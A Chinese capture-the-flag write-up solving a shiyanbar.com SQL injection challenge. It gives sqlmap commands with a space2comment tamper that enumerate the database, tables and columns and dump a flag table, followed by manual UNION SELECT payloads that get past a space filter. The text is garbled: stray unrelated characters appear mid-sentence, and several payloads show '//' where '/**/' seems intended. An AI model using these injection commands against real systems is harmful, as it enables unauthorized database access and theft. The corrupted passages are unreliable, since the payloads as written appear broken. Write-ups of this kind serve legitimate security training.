題目名稱:簡(jiǎn)單的sql注入之2
地址http://www.shiyanbar.com/ctf/1908
有回顯的mysql注入
格式:flag{}
解題鏈接: [http://ctf5.shiyanbar.com/web/index_2.php](javascript:;)
sqlmap -u http://ctf5.shiyanbar.com/web/index_2.php?id=1 --tamper "space2comment.py" --level 2
image.png
sqlmap -u http://ctf5.shiyanbar.com/web/index_2.php?id=1 --tamper "space2comment.py" --current-db
image.png
//查看當(dāng)前數(shù)據(jù)庫(kù)(web1)
sqlmap -u http://ctf5.shiyanbar.com/web/index_2.php?id=1 --tamper "space2comment.py" -D web1 --tables
image.png
//查看表(flag)
image.png
sqlmap -u http://ctf5.shiyanbar.com/web/index_2.php?id=1 --tamper "space2comment.py" -D web1 -T flag --columns
//查看列(flag)
image.png
sqlmap -u http://ctf5.shiyanbar.com/web/index_2.php?id=1 --tamper "space2comment.py" -D web1 -T flag -C flag --dump
//查看flag信息
image.png
id=1''(兩個(gè)單引號(hào))成功骆捧,id=1 '' 出錯(cuò),說(shuō)明過(guò)濾空格切心。
繞過(guò)空格過(guò)濾的方式:
/**/
()
%0B 據(jù)說(shuō)%0a-%0z都可以
其他繞過(guò)方式
id=1'union//select//1' 查詢出兩條
id=1'//union//select//table_name//from/**/information_schema.tables' 出錯(cuò)荤牍,如果同上的話應(yīng)該是可以的宪塔,我不知道為什么
id=1'union//select//table_name//from//information_schema.tables//where//''=' 這樣是可以的
id=1'union//select//column_name//from//information_schema.columns//where//''='
id='union//select//flag//from//flag/**/where''='